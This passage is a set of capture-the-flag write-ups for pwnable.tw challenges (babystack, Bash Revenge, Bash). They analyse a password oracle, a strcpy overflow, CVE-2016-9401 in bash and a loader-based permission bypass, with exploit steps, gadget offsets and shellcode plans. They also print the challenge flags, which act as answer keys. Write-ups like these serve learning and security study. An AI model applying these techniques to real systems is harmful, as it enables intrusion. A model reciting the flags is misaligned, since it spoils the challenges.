as a custom \"canary\" — it must remain intact for the program to `return` cleanly from `main` (checked via `memcmp` against an mmap'd backup). Two helper functions (`Login` and `Copy`) share the same stack frame location, enabling a `strcpy`-based overflow.\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Full RELRO # GOT not writable\n Stack: Canary found # custom canary, not glibc __stack_chk\n NX: NX enabled\n PIE: PIE enabled\n FORTIFY: Enabled\n```\n\n## Program Logic\n\n### `main` Stack Frame (`sub rsp, 0x60`)\n\n| Offset from rbp | Field | Size |\n|------------------|-------|------|\n| `rbp-0x60` | `copy_dest` — Copy writes here via `strcpy` | 64 bytes |\n| `rbp-0x20` | `password` — 16 random bytes from `/dev/urandom` | 16 bytes |\n| `rbp-0x10` | `choice` — menu input buffer | 16 bytes |\n| `rbp+0x00` | saved rbp | 8 bytes |\n| `rbp+0x08` | **return address** (to `__libc_start_main`) | 8 bytes |\n\nDistance from `copy_dest` to return address: **0x68 = 104 bytes**.\n\n### Menu\n\n```c\nwhile (1) {\n __read_chk(0, choice, 16, 16);\n switch (choice[0]) {\n case '1':\n if (logged_in) logged_in = 0; // logout\n else Login(password); // authenticate\n break;\n case '2':\n if (logged_in) {\n if (memcmp(password, mmap_backup, 16) == 0) {\n eax = 0; return; // clean exit — triggers ret\n } else __stack_chk_fail(); // password tampered\n } else exit(0);\n break;\n case '3':\n if (logged_in) Copy(copy_dest); // magic copy\n break;\n }\n}\n```\n\n### `Login(passwd)` — `sub rsp, 0x90`, buf at `Login_rbp-0x80`\n\n```c\nprintf(\"Your passowrd :\");\nmy_read(buf, 0x7f); // read up to 127 bytes\nif (strncmp(buf, passwd, strlen(buf)) == 0)\n logged_in = 1; // \"Login Success !\"\n```\n\n### `Copy(dst)` — `sub rsp, 0x90`, buf at `Copy_rbp-0x80`\n\n```c\nprintf(\"Copy :\");\nmy_read(buf, 0x3f); // read up to 63 bytes\nstrcpy(dst, buf); // dst = main's rbp-0x60\nputs(\"It is magic copy !\");\n```\n\n### `my_read(buf, n)`\n\n```c\nr = read(0, buf, n);\nif (buf[r-1] == '\\n') buf[r-1] = '\\0'; // NUL-terminates ONLY if last byte is '\\n'\n```\n\n**Critical:** `Login` and `Copy` are called from `main` at the same call depth → their local buffers (`rbp-0x80`) occupy the **exact same stack memory**.\n\n## Vulnerabilities\n\n### V1 — `strncmp` with `strlen(input)` — Password Oracle / Auth Bypass\n\n**Root Cause:** `Login` compares the user-supplied buffer against the password using `strncmp(buf, passwd, strlen(buf))`. The comparison length is controlled by the attacker.\n\n```c\nstrncmp(buf, passwd, strlen(buf))\n```\n\n**Auth Bypass:** Sending `\\x00` (empty string, `strlen == 0`) → `strncmp(..., 0) == 0` → Login Success. This sets `logged_in = 1` without knowing the password.\n\n**Byte-by-Byte Oracle:** Sending `known_prefix + guess_byte + \\x00` causes `strncmp` to compare exactly `len(prefix)+1` bytes. \"Login Success\" means the guess byte matched → brute-force the 16-byte password one byte at a time (~128 avg attempts per byte, ~2048 total queries).\n\n### V2 — `strcpy` Overflow via Shared Stack Frame\n\n**Root Cause:** `Login` and `Copy` share the same stack buffer location. `Login` can write up to 127 bytes into the buffer, but `Copy` only reads 63 bytes into it via `my_read`. When `Copy` then calls `strcpy(dst, buf)`, it copies from the shared buffer — but `strcpy` only stops at NUL. If `Login` previously filled bytes 63–126 with non-NUL data, `strcpy` copies **far past 63 bytes**, overflowing into `main`'s password slot, saved rbp, and return address.\n\n```text\nLogin fills: buf[0..126] (127 bytes, no NUL at end if no '\\n')\nCopy reads: buf[0..62] (63 bytes, overwrites only first 63)\nstrcpy: copies buf[0..NUL) → main's copy_dest (rbp-0x60)\n continues past 63 bytes using Login's leftover data\n → overwrites password (rbp-0x20) and return address (rbp+0x08)\n```\n\n**Impact:** Full control over main's return address (offset 0x68 from `copy_dest`). The password slot (offset 0x40) must be restored to its original value for the `memcmp` check to pass on exit.\n\n### V3 — Libc Pointer Residue on Stack\n\n**Root Cause:** After `Copy` calls `strcpy` and `puts`, libc-internal function calls leave return addresses and other libc pointers on the stack frame. Because `Login` and `Copy` share the same frame, a subsequent `Login` call can observe these residual libc pointers at known offsets within the buffer.\n\n**Impact:** By first overwriting the password slot with known non-NUL bytes (e.g., `'C'*8`) via the overflow, then using the oracle to brute-force the 6 bytes that follow, the attacker recovers a libc address. The leaked value is typically `_IO_file_setbuf+9` or `_IO_file_overflow+235` (offset `0x78439` or `0x7a81b` from libc base).\n\n## Exploit Paths\n\nAll solutions share the same fundamental primitives: V1 (oracle) for leaking, V2 (strcpy overflow) for control. They differ in what they leak and what they overwrite the return address with.\n\n---\n\n### Path A — Leak Password + Leak libc + One-Gadget (Most Common)\n\n**Used by:** Solutions 8, 370, 821, 3498, 7905, 25572, 34817, 38891, and many others\n\n1. **Brute-force the 16-byte password** via the `strncmp` oracle. If any byte is `\\x00`, reconnect (fresh random password).\n\n2. **Leak libc address:**\n - `Login` with `\\x00 + 'A'*63 + 'A'*8` (no newline) → fills buffer past 63 bytes. The `\\x00` first byte bypasses auth (`strlen == 0` → success, `logged_in = 1`).\n - `Copy` with any short input → `strcpy` copies the full buffer into `main`'s `copy_dest`. The residual libc pointer from the shared stack overwrites the password slot.\n - Toggle logout (`'1'`), then brute-force the new \"password\" bytes — these are now the libc pointer.\n - `leaked - 0x78439 = libc_base` (or `leaked - 0x7a81b` depending on runtime).\n\n3. **Overwrite return address:**\n - `Login` with `\\x00 + 'A'*63 + password + 'B'*24 + p64(one_gadget)` (no newline).\n - `Copy` → `strcpy` overflows `copy_dest`, restoring password at offset 0x40 and placing `one_gadget` at offset 0x68 (return address).\n\n4. **Trigger:** Send `'2'` → `memcmp` passes (password restored) → `mov eax, 0; leave; ret` → jumps to one_gadget. Since `eax == 0` (set by memcmp return), the `rax == NULL` constraint is satisfied.\n\n**One-gadget offsets (glibc 2.23):**\n```python\n0x45216 # rax == NULL (preferred — satisfied by memcmp eax=0)\n0x4526a # [rsp+0x30] == NULL\n0xef6c4 # [rsp+0x50] == NULL\n0xf0567 # [rsp+0x70] == NULL\n```\n\n**Reliability:** ~94% per connection. Fails only if the random password contains a NUL byte (~6% chance), since `strcpy` stops at NUL and can't restore it.\n\n---\n\n### Path B — Leak Password + Leak PIE Base + ROP Chain\n\n**Used by:** Solutions 59, 278, 533, 2605, 9952, 10128, 13019\n\nThis variant additionally leaks the PIE base to build a ROP chain using binary gadgets:\n\n1. **Brute-force password** (same as Path A).\n\n2. **Leak PIE base:** After the password (offset 0x40 in `copy_dest`), the next stack slot at `main_rbp-0x10` contains `__libc_csu_init` (PIE address `0x1060`). Use the overflow + oracle to read 6 bytes beyond the password → `PIE_base = leaked - 0x1060`.\n\n3. **First overflow → ret to `read_n`:** Overwrite return address with the binary's `my_read` gadget (`PIE+0xca0`). When main returns, it calls `my_read` with whatever `rdi`/`rsi` happen to be, enabling a **second, larger stack overflow** with arbitrary bytes (no `strcpy` NUL limitation).\n\n4. **Second overflow → full ROP:**\n - `pop rdi; ret` + GOT entry + `puts@plt` → leak libc at runtime.\n - `pop rdi; ret` + `\"/bin/sh\"` + `system` → shell.\n - Or pivot stack to BSS, chain `read` for a third payload.\n\n**Advantages:** Can write NUL bytes in ROP chain (second overflow uses `read`, not `strcpy`). Can use `system(\"/bin/sh\")` instead of one-gadget constraints.\n\n**Disadvantages:** Requires PIE leak (~2048 more oracle queries), two return-to-main cycles (re-leak password on second iteration if main restarts), more complex.\n\n---\n\n### Path C — Leak Password + Libc Leak + `system` via Choice Buffer\n\n**Used by:** Solutions 331, 821 (variant)\n\nA simpler variation that avoids one-gadget constraints:\n\n1. **Password + libc leak** (same as Path A).\n2. **Overwrite return address with `system`.**\n3. **Trigger with `'2;sh;\\x00'`** as the menu choice — the 16-byte choice buffer starts with `'2'` (triggers exit path), but the same buffer at `choice+2` contains `\"sh\"`. Since `system` receives `rdi` pointing to the choice buffer region on the stack, it executes `system(\"sh\")`.\n\n**Note:** This is fragile — `rdi` must point to the right stack location containing `\"sh\"`. Some solutions use `\"2;bash\\x00\"` or `\"2;/bin/sh;\"`.\n\n---\n\n### Path D — Null-Byte-Safe ROP via Incremental Writes\n\n**Used by:** Solutions 278, 9952\n\nAddresses containing NUL bytes can't be written via `strcpy` in one shot. This approach writes the ROP chain incrementally:\n\n1. For each NUL byte in the target ROP payload, write everything **after** that NUL in a separate `Login+Copy` cycle. Each cycle places a NUL-terminated string at a different offset.\n2. Process NUL positions from highest to lowest, building up the full payload across multiple rounds.\n3. Finally restore the password and trigger return.\n\nThis allows arbitrary ROP chains without NUL byte restrictions.\n\n## Key Observations\n\n### Stack Layout — Login/Copy Shared Buffer\n\n```text\n Login/Copy frame main frame\n ┌──────────────┐ ┌──────────────────┐\nrbp-0x80 │ buf[0..126] │ │ │\n │ (Login: 127)│ │ copy_dest[0..63] │ rbp-0x60\n │ (Copy: 63)│ │ │\n │ │ │ password[0..15] │ rbp-0x20\n │ │ │ choice[0..15] │ rbp-0x10\n └──────────────┘ │ saved rbp │ rbp+0x00\n │ return address │ rbp+0x08\n └──────────────────┘\n```\n\nLogin's `buf[0..62]` maps to `copy_dest[0..62]` after `strcpy`.\nLogin's `buf[63..78]` maps to `copy_dest[63..78]` = password slot + beyond.\nLogin's `buf[79..103]` maps to the saved rbp and return address region.\n\n### Oracle Interaction Protocol\n\nThe menu reads exactly 16 bytes via `__read_chk(0, choice, 16, 16)`. Pipelining is possible by sending `\"1\" + 15_pad_bytes + password_guess` in one TCP segment. Login's `my_read` reads up to 127 bytes greedily, so padding the body to exactly 127 bytes self-frames each query.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Password oracle (byte-by-byte) | V1: `strncmp` + `strlen(input)` | Deterministic (~2048 queries) |\n| Auth bypass (empty string) | V1: `strlen(\"\\x00\") == 0` | Deterministic |\n| Stack overflow via `strcpy` | V2: shared frame + `strcpy` past 63 | Deterministic (no NUL in payload) |\n| Libc leak (residual pointer) | V3: shared frame + overflow + oracle | Deterministic |\n| PIE leak (optional) | V3: overflow deeper + oracle | Deterministic |\n| Return address overwrite | V2: `copy_dest + 0x68 = ret addr` | Deterministic |\n| `memcmp` bypass | Restore password at `copy_dest + 0x40` | Fails if password has NUL (~6%) |\n\n## Offsets (pwnable.tw `libc_64.so.6`, glibc 2.23)\n\n```python\n# Libc leak offsets (residual pointer on stack)\n_IO_file_setbuf_plus_9 = 0x78439 # common in direct process\n_IO_file_overflow_plus_235 = 0x7a81b # common under fork-server/socat\n\n# Gadgets\none_gadget_rax_null = 0x45216 # rax == NULL (best — memcmp sets eax=0)\none_gadget_rsp30 = 0x4526a # [rsp+0x30] == NULL\none_gadget_rsp50 = 0xef6c4 # [rsp+0x50] == NULL\none_gadget_rsp70 = 0xf0567 # [rsp+0x70] == NULL\nsystem = 0x45390\nbin_sh = 0x18c177\n__libc_start_main = 0x20740\nputs = 0x6f690\n\n# PIE offsets (if PIE leak used)\n__libc_csu_init = 0x1060\nmain = 0xecf\nmy_read = 0xca0\nputs_plt = 0xae0\npop_rdi_ret = 0x10c3\npop_rsi_r15_ret = 0x10c1\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `8.md` | A | password oracle → libc leak → one_gadget | Clean Python, detailed comments |\n| `59.md` | B | password + PIE oracle → ret-to-read → ROP | Two-stage ROP; stack pivot to BSS |\n| `278.md` | B + D | PIE leak → incremental NUL-safe ROP → puts leak | Ruby; handles NUL bytes in ROP chain |\n| `331.md` | C | password → libc → `system` via choice buf | Uses `\"2;bash\\x00\"` as choice to trigger system |\n| `370.md` | A | password → libc → one_gadget (0xf0567) | Also leaks PIE but uses one_gadget |\n| `533.md` | B | PIE leak → ret-to-read → `execve` ROP | Full `execve` call via ROP |\n| `821.md` | A | pipelined oracle → libc → `system` | Batched queries for speed |\n| `2605.md` | B | PIE + stack leak → ret-to-read → one_gadget | Leaks stack address for pivot |\n| `3498.md` | A | password → libc → one_gadget (0xf0567) | Concise; `flat()` for payload |\n| `7905.md` | A | password → libc → one_gadget (0x45216) | Most detailed writeup; full Chinese analysis |\n| `9952.md` | B + D | PIE → incremental write → puts leak → ROP | `build_rop` handles NUL-free writes |\n| `10128.md` | B | PIE + stack → ret-to-read → stack pivot | Uses `pop rsp` gadget |\n| `25572.md` | A | password → libc → one_gadget | Detailed taintedbits.com writeup |\n| `34817.md` | A | password → libc (`_IO_file_setbuf+9`) → one_gadget | Clean Python3 |\n| `38891.md` | A | password → libc → one_gadget (0x45216) | Minimal code |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (pure sockets, no pwntools) |\n| `desc.txt` | Challenge description |\n| `artifacts/babystack` | Original challenge binary (stripped PIE ELF) |\n| `artifacts/libc_64.so.6` | Remote libc (glibc 2.23) |\n| `solution/*.md` | Community write-ups (132 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":15360,"content_sha256":"fff0ee5d7355378b3338d0c71d667c4ada2043f2503c0de601ba47f391d8221d"},{"filename":"pwnable-tw/bash_revenge.md","content":"---\ntags:\n - logic-flaw\n - file-descriptor-leak\n - command-injection\nplatform: pwnable.tw\npoints: 500\narch: x86-64\nlibc: glibc-2.23\nrelro: full\ncanary: yes\nnx: yes\npie: yes\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"Exploiting leaked file descriptors and internal bash builtins enables escaping restricted execution mode to execute privileged binaries.\"\nproof-of-concept: no\n---\n\n# Bash Revenge — pwnable.tw (500 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> There is an old version bash with some vulnerabilities, such as CVE-2016-9401.\n> Can you develop a 1-day exploit for this challenge? :p\n>\n> `nc chall.pwnable.tw 10407`\n>\n> Flag: `FLAG{us3_4ft3r_fr33_1n_bash_1s_p0w3rful}`\n\n## Challenge Overview\n\nYou connect to a `chroot`-jailed bash 4.3.0(2) shell on x86-64. The jail contains **only bash and its libraries** — no `cat`, `ls`, `id`, or any other binary. The flag is at `/flag`, root-owned and outside the chroot. A separate root xinetd service on `127.0.0.1:1337` serves the flag via `/bin/cat /flag`. Bash is built **without `/dev/tcp` support**, so the only way to get the flag is to gain **arbitrary code execution** inside bash and use raw `socket()`/`connect()` syscalls to reach the loopback flag service.\n\n```text\nbin/bash:\n Arch: amd64-64-little\n RELRO: Partial RELRO # GOT writable\n Stack: Canary found\n NX: NX enabled\n PIE: No PIE (0x400000) # Fixed addresses in .text/.bss/.got\n NOT stripped\n Uses bash's OWN internal allocator (lib/malloc/malloc.c), NOT glibc malloc\n\nlibc: Ubuntu 16.04 glibc 2.23-0ubuntu10\n```\n\n## Key Data Structures\n\n### Bash Internal Malloc Chunk Header\n\nBash uses its own `malloc` implementation with a custom chunk format:\n\n```c\nunion mhead {\n bits64_t mh_align; // 8 bytes total\n struct {\n char mi_alloc; // 0xf7 = ISALLOC, 0x54 = ISFREE\n char mi_index; // bucket index in nextf[]\n u_bits16_t mi_magic2; // must be 0x5555\n u_bits32_t mi_nbytes; // size of user data\n } minfo;\n};\n// Trailing guard: u_bits32_t == mi_nbytes (size footer)\n```\n\nA valid allocated chunk header for a 0x30-byte allocation in bucket 3 is the single qword **`0x30555503f7`**.\n\n### SHELL_VAR Structure\n\n```c\ntypedef struct variable {\n char *name; // +0x00\n char *value; // +0x08 → arbitrary read target\n char *exportstr; // +0x10\n sh_var_value_func_t *dynamic_value;// +0x18 → called on $VAR expansion\n sh_var_assign_func_t *assign_func; // +0x20 → called on VAR=value\n int attributes; // +0x28\n int context; // +0x2c\n} SHELL_VAR; // sizeof = 0x30\n```\n\n## Vulnerabilities\n\n### V1 — CVE-2016-9401: `popd` OOB Free (Primary, Exploitable)\n\n**Root Cause:** In `builtins/pushd.def`, `popd_builtin` accepts `popd +-N` where N is parsed by `legal_number` which allows **negative values**. The bounds check only rejects `which > offset`, so negative `which` passes:\n\n```c\n// pushd.def:popd_builtin\ni = (direction == '+') ? directory_list_offset - which : which;\nfree(pushd_directory_list[i]); // line 384 — OOB index\n```\n\nIf `pushd` was never called, `pushd_directory_list == NULL`, so:\n\n```text\npopd +-N → free( *(void**)(8 * N) )\n```\n\nThis is **`free()` on a pointer stored at an arbitrary, attacker-chosen, fixed address**. Since bash is non-PIE, the target can be any fixed `.bss`/`.data` address.\n\n**Impact:** Arbitrary free of any pointer reachable via a fixed address. This is the sole entry point for the entire exploit — every solution builds on this primitive.\n\n### V2 — NUL-Byte Injection via `localbuf` (Enabler)\n\n**Root Cause:** Bash reads raw command input into the global `char localbuf[128]` at fixed address `0x6b7c40`. This buffer stores the raw bytes from `read()`, **including NUL bytes**, which are later ignored by the command parser.\n\n**Impact:** An attacker can craft a command whose raw bytes contain a **forged malloc chunk** (with NUL-byte metadata) at a known address. This is critical because bash's string operations normally can't produce NUL bytes, and the allocator requires specific magic bytes in the header.\n\n### V3 — NUL-Byte Injection via `printf`/`echo -ne` (Enabler)\n\n**Root Cause:** `printf` and `echo -ne` interpret `\\x00` escape sequences and write NUL bytes to stdout. Stdout is **buffered**, so the output accumulates in a heap buffer at a predictable offset from the heap base.\n\n**Impact:** Arbitrary binary data (including NUL bytes) can be written to the stdout buffer on the heap, enabling fake chunk construction without `localbuf`.\n\n### V4 — Heap Leak via Freed BSS Pointers (Enabler)\n\n**Root Cause:** Several global BSS pointers (`ps1_prompt`, `ps2_prompt`, `the_current_wd`, `dollar_vars[1]`, etc.) point to heap-allocated strings. Freeing them via V1 replaces the string data with a free-list `next` pointer. Reading the variable back (e.g., `echo $PS2`, `echo $1`, `pwd`) leaks the heap address.\n\n### V5 — `/proc/self/maps` Leak (Alternative, \"Bash Revenge\" only)\n\n**Root Cause:** In the \"Bash Revenge\" variant (port 10407), `/proc` is accessible. `cat /proc/$/maps` directly leaks heap base and libc base.\n\n## Exploit Paths\n\nAll solutions share the same core flow: **V1 (arbitrary free) → fake chunk → reclaim as controlled structure → arb read + RIP hijack → ROP → shellcode → socket to flag service**. They differ in how they plant the fake chunk, what structure they reclaim, and how they achieve code execution.\n\n---\n\n### Path A — `localbuf` Fake Chunk → SHELL_VAR Reclaim → `setcontext` ROP\n\n**Used by:** Solutions 370 (exp.py), 1428, 2311, 2972, 3498, 7905, 8153, 15989, 36714\n\n**Steps:**\n\n1. **Plant fake chunk in `localbuf`:** Send a raw command whose bytes at offset `+0x30` or `+0x40` form a valid bash-malloc chunk header (`0x30555503f7`) + body + size footer. The chunk sits at a known fixed address.\n\n2. **Free the fake chunk via V1:** `popd +-(localbuf_offset/8)` dereferences a pointer stored in `localbuf` (planted in step 1) and frees it, inserting the fake chunk into bash's free list.\n\n3. **Reclaim with SHELL_VAR:** Trigger a variable assignment (e.g., `A=B C=D`) which allocates a `SHELL_VAR` struct via `new_shell_variable()`. The allocation reuses the freed fake chunk, placing the struct inside `localbuf`.\n\n4. **Arbitrary read (libc leak):** Overwrite the SHELL_VAR's `value` pointer (at `+0x08`) with a GOT entry (e.g., `read@got = 0x6b2288`). Running `echo $C` prints the GOT value → libc base.\n\n5. **RIP hijack via `dynamic_value`:** Set the SHELL_VAR's `dynamic_value` pointer (at `+0x18`) to `gets` or `setcontext+53`. Expanding `$VAR` calls `dynamic_value(var_ptr)`, giving control of RIP with `rdi` pointing to the struct.\n - **`gets` stage:** `dynamic_value = gets` → reads a `setcontext` ucontext frame + ROP chain into `localbuf`.\n - **`setcontext+53` stage:** Stack-pivots via the ucontext frame into the ROP chain.\n\n6. **ROP → shellcode:** `read(0, bss, N)` then `mprotect(bss, 0x1000, RWX)` then jump to shellcode.\n\n7. **Shellcode:** Raw syscalls: `socket(AF_INET, SOCK_STREAM, 0)` → `connect(fd, {127.0.0.1:1337}, 16)` → `read(fd, buf, 0x100)` → `write(1, buf, 0x100)`.\n\n---\n\n### Path B — `printf` Stdout Buffer Fake Chunk → SHELL_VAR\n\n**Used by:** Solutions 821, 1351, 2311 (bash variant), 9251, 22319, 26957, 28605, 28652, 31599, 33090\n\n**Steps:**\n\n1. **Leak heap:** Free a BSS pointer (e.g., `ps1_prompt`, `ps2_prompt`, `the_current_wd`, `$1`) via V1, then read back the freed value to get a heap pointer.\n\n2. **Plant fake chunk on heap:** Use `printf \"\\x00...\\xf7\\x03\\x55\\x55...\"` or `echo -ne` to write a forged chunk into the stdout buffer at `heap_base + 0x2808` (predictable offset).\n\n3. **Free the fake chunk:** Calculate the fake chunk's address on the heap, plant a pointer to it in a known location, and free via V1.\n\n4. **Reclaim and exploit SHELL_VAR:** Same as Path A steps 3-7, but the controlled memory is on the heap instead of in `localbuf`.\n\nSome solutions use `printf`-based overwrite in a loop: after reclaim, `printf` overwrites the SHELL_VAR fields directly since the struct lives inside the stdout buffer.\n\n---\n\n### Path C — Array Element / JOB Struct Hijack\n\n**Used by:** Solutions 1351, 22319, 35463, 36714\n\n**Variant approach:** Instead of (or in addition to) SHELL_VAR, reclaim the fake chunk with:\n\n- **Array elements:** Bash arrays store `{int64_t index; char *value; ...}`. Confusing an array element with a struct that has a `char *name` at offset 0 gives arbitrary read via the array index. Solutions 1351 and 22319 use `arr[N]=value` with a crafted index to trigger `assign_func` or `bind_array_var_internal`.\n\n- **JOB structs:** Background jobs (`cmd &`) allocate JOB structs with function pointers (`j_cleanup`). Freeing a fake chunk and having a JOB struct reclaim it gives RIP control when the job is cleaned up. Solutions 22319 and 35463 use `jobs` builtin to leak via the command string pointer, then trigger cleanup.\n\n---\n\n### Path D — `tilde_expansion_preexpansion_hook` / `longjmp` Hijack\n\n**Used by:** Solutions 2972, 36714\n\n**Alternative RIP hijack methods:**\n\n- **`tilde_expansion_preexpansion_hook`:** A function pointer in BSS that's called when `~` is expanded. Overwrite it via the fake-chunk-in-printf-buffer technique, then trigger with `~AAAA...` (long tilde expansion). RDI/RSI/RDX are partially controlled by input length.\n\n- **`top_level` longjmp buffer:** Read the `top_level` jmp_buf at `0x6B90E0`, extract the XOR key used by glibc's pointer guard (`PTR_MANGLE`), encrypt a new RBP/RSP/RIP, overwrite the buffer, and trigger `exit 0` → `longjmp(top_level)` → stack pivot into ROP.\n\n---\n\n### Path E — GOT Overwrite via `printf -v` / Free-List Manipulation\n\n**Used by:** Solution 1428\n\n**Steps:**\n\n1. Free chunks to get them onto the free list.\n2. Use `printf -v varname` to allocate and write controlled data into free-list next pointers.\n3. Chain allocations to eventually place a controlled value at a GOT entry (e.g., `dcgettext@got → add_ret_gadget`).\n4. When bash calls the GOT function, it hits the gadget, which calls `gets` to read a full ROP chain.\n\n---\n\n### Path F — `/proc/self/maps` Direct Leak (Bash Revenge Only)\n\n**Used by:** Solution 1351 (bash revenge variant)\n\nOn port 10407, `/proc` is mounted:\n\n```bash\ncat /proc/$/maps\n```\n\nThis directly leaks heap base and libc base, skipping the heap-leak step entirely. The rest of the exploit follows Path B.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Arbitrary free at fixed address | V1: CVE-2016-9401 `popd +-N` | Deterministic |\n| Fake chunk at known address | V2: `localbuf` or V3: `printf` stdout buf | Deterministic |\n| Heap address leak | V4: Free BSS pointer, read back | Deterministic |\n| libc leak | GOT read via SHELL_VAR `value` ptr | Deterministic |\n| Stack leak (optional) | Read `shell_environment` or `__environ` | Deterministic |\n| RIP control | SHELL_VAR `dynamic_value`/`assign_func` | Deterministic |\n| Code execution | `setcontext+53` → ROP → `mprotect` → shellcode | Deterministic |\n| Flag exfil | Shellcode: `socket`→`connect`→`read`→`write` | Deterministic |\n\n## Offsets (libc 2.23-0ubuntu10, amd64)\n\n```python\n# bash binary (non-PIE)\nlocalbuf = 0x6b7c40\nread_got = 0x6b2288\nsnprintf_got = 0x6b2030\nstdin_bss = 0x6b5110\nps1_prompt = 0x6b86d8 # (varies by solution)\nthe_current_wd = 0x6b7ec0\ndollar_vars = 0x6b8920\n\n# libc offsets\nread = 0xf7250\ngets = 0x6ed80\nsetcontext = 0x47b75 # +53 for the register-loading gadget\nmprotect = 0x101770\npop_rdi = 0x21102\npop_rsi = 0x202e8\npop_rdx = 0x1b92\npop_rax = 0x33544\nsyscall_ret = 0xbc375\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Heap Leak Method | RIP Hijack | Notes |\n|------|-------------|------------------|------------|-------|\n| `370.md` | A | `the_current_wd` free | `setcontext` + ROP | Two scripts; connect-back shellcode |\n| `821.md` | B | `$1` free + `printf` | `setcontext` + ROP | Disabled history for heap stability |\n| `1351.md` | B + F | `/proc/self/maps` (revenge) / brute heap (bash) | `setcontext` via array assign | Two variants for both ports |\n| `1428.md` | A | `localbuf` | `setcontext` via `dynamic_value` | Clean write-up; explains NUL-byte trick |\n| `2311.md` | A + E | `localbuf` | `gets` → `setcontext` | Detailed format; also describes Bash (200pt) |\n| `2972.md` | D | stack/heap leak via `printf -v` | `tilde_expansion_hook` | Uses nested functions for stack depth |\n| `3148.md` | B | `ps1_prompt` free | `setcontext` + ROP | Concise; `echo -ne` for NUL bytes |\n| `3498.md` | A | `the_current_wd` free | stack pivot via `xchg edi,esp` | Detailed chunk metadata documentation |\n| `6748.md` | B | array element spray | `setcontext` + ROP | Uses `printf` buffer spray + array free |\n| `7905.md` | A | `dollar_vars` free | `setcontext` + mmap + shellcode | Extensive BashInterface class |\n| `8153.md` | A | `localbuf` + GOT leak | `gets` → `setcontext` | Detailed writeup with Docker repro |\n| `9251.md` | B | `$0` free + `echo -ne` | `setcontext` via JOB cleanup | Also tried array type confusion |\n| `15989.md` | B | `current_host_name` free | `setcontext` via JOB struct | Uses `echo -ne` for heap writes |\n| `22319.md` | C | `export` spray + free | `gets` via JOB `j_cleanup` | Leaks via coproc + `jobs` |\n| `26957.md` | B | `popd` heap leak | `setcontext` via HIST struct | Uses history objects for reclaim |\n| `28605.md` | B | `PS2` free | `xchg edi,esp` stack pivot | 14-chunk heap spray |\n| `28652.md` | B | `the_current_wd` | `setcontext` via SHELL_VAR | Uses `read -e -N 128` for `lbuf` NULs |\n| `31599.md` | B | `export` leak | `setcontext` via SHELL_VAR | Array-based free for heap chunk |\n| `33090.md` | B | `printf` heap write | `setcontext` + `$leak1` | Uses `printf -v` trick for NUL data |\n| `35463.md` | C | `C_ENV` spray + free | `gets` via JOB | Extensive automation with coproc |\n| `36714.md` | D | `pushd` + var alloc | `longjmp` buffer overwrite | Unique approach: encrypt new jmp_buf |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (localbuf fake chunk approach) |\n| `desc.txt` | Challenge description |\n| `artifacts/` | Original challenge tarball (`bash_revenge.tgz`) |\n| `solution/*.md` | Community write-ups (21 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":14569,"content_sha256":"418bdd9cac1a6826dd82bb466c726bea1b9f7ea2e246509386bbeb10e0d64f03"},{"filename":"pwnable-tw/bash.md","content":"---\ntags:\n - logic-flaw\n - race-condition\n - command-injection\nplatform: pwnable.tw\npoints: 200\narch: x86-64\nlibc: glibc-2.23\nrelro: partial\ncanary: yes\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"A race condition during temporary environment file creation in a restricted bash shell allows executing arbitrary shell commands to bypass restrictions.\"\nproof-of-concept: no\n---\n\n# Bash — pwnable.tw (200 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10108`\n>\n> Flag: `FLAG{1nt3nt3d_s0luti0n_1s_CVE-2016-9401_;)}`\n\n## Challenge Overview\n\nA restricted-environment challenge. The player is dropped into an interactive bash 4.3.0 shell running as the low-privilege `bash` user. The flag at `/flag` is root-owned (`chmod 400`), but a root-owned xinetd service on `127.0.0.1:1337` will `cat /flag` when connected. The goal is to make a TCP connection to `localhost:1337` from within the restricted shell.\n\n```python\nDeployment (from Dockerfile):\n Base: ubuntu:16.04\n Shell: bash 4.3.0 (custom binary, --noprofile --norc -i)\n User: bash (low privilege)\n Binaries: chmod o-x /bin/* /sbin/* /usr/bin/* /usr/sbin/*\n chmod o+x /bin/cat /bin/ls # only cat and ls are executable\n Filesystem: /tmp, /var/tmp, /dev/shm, /home/bash all read-only bind-mounted\n Flag: root:root 400 /flag\n Flag svc: xinetd on 127.0.0.1:1337 — runs \"cat /flag\" as root\n```\n\n### Three Layers of Restriction\n\n| Technique | Why It Fails |\n|-----------|-------------|\n| `cat \u003c /dev/tcp/127.0.0.1/1337` | The provided bash binary was compiled **without `--enable-net-redirections`**; `/dev/tcp` does not exist. |\n| Run `nc`/`python`/`perl`/etc. directly | `chmod o-x` removed execute permission on everything in `/bin`, `/sbin`, `/usr/bin`, `/usr/sbin` — only `cat` and `ls` retained `o+x`. |\n| `enable -f evil.so builtin` (loadable builtin via `dlopen`) | Technically bash supports this, but all writable directories (`/tmp`, `/var/tmp`, `/dev/shm`, `/home/bash`) are read-only bind-mounted. No way to drop a `.so` file to disk. |\n\n## Vulnerabilities / Weaknesses\n\n### W1 — Dynamic Loader (`ld.so`) Retains Execute Permission (Unintended, Primary)\n\n**Root Cause:** The Dockerfile only strips execute from `/bin/*`, `/sbin/*`, `/usr/bin/*`, `/usr/sbin/*`. The dynamic linker at `/lib/x86_64-linux-gnu/ld-2.23.so` (and `/lib64/ld-linux-x86-64.so.2`) is untouched and remains world-executable.\n\n```bash\n$ ls -l /lib64/ld-linux-x86-64.so.2\nlrwxrwxrwx ... -> /lib/x86_64-linux-gnu/ld-2.23.so\n\n$ ls -l /usr/bin/perl\n-rwxr-xr-- ... /usr/bin/perl # other has read but NOT execute\n```\n\n**Bypass:** The kernel executes the loader (which has `o+x`). The loader then **reads** the target binary (only needs `o+r`) and maps it into memory for execution. This completely bypasses the missing execute 